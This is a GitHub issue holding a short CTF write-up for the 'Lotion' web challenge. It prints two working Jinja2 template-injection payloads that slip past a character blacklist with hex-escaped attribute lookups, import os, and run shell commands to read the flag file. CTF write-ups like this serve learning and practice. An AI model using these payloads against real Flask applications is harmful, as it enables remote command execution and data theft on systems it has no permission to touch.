Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

FooBar CTF Lotion #1

Open
PeGrina opened this issue Apr 2, 2021 · 0 comments
Open

FooBar CTF Lotion #1

PeGrina opened this issue Apr 2, 2021 · 0 comments
Labels
web Task in web category.

Comments

@PeGrina
Copy link
Owner

PeGrina commented Apr 2, 2021

I am trying to make my own version of notion named lotion , Can you do security check for my app? http://chall.nitdgplug.org:30014/
Writeup:
We see the SSTI Jinja2 vulnerability, but with a blacklist. We cannot use ". []". Searching in Google we find this code:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
And it is working! Checking the dir and see the directory secret-note with file flag inside. Get the flag with note:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat secret-note/flag')|attr('read')()}}
Flag: GLUG{INJECTED_PR3TTY_G00D_HUH}

@PeGrina PeGrina added the web Task in web category. label Apr 2, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
web Task in web category.
Projects
None yet
Development

No branches or pull requests

1 participant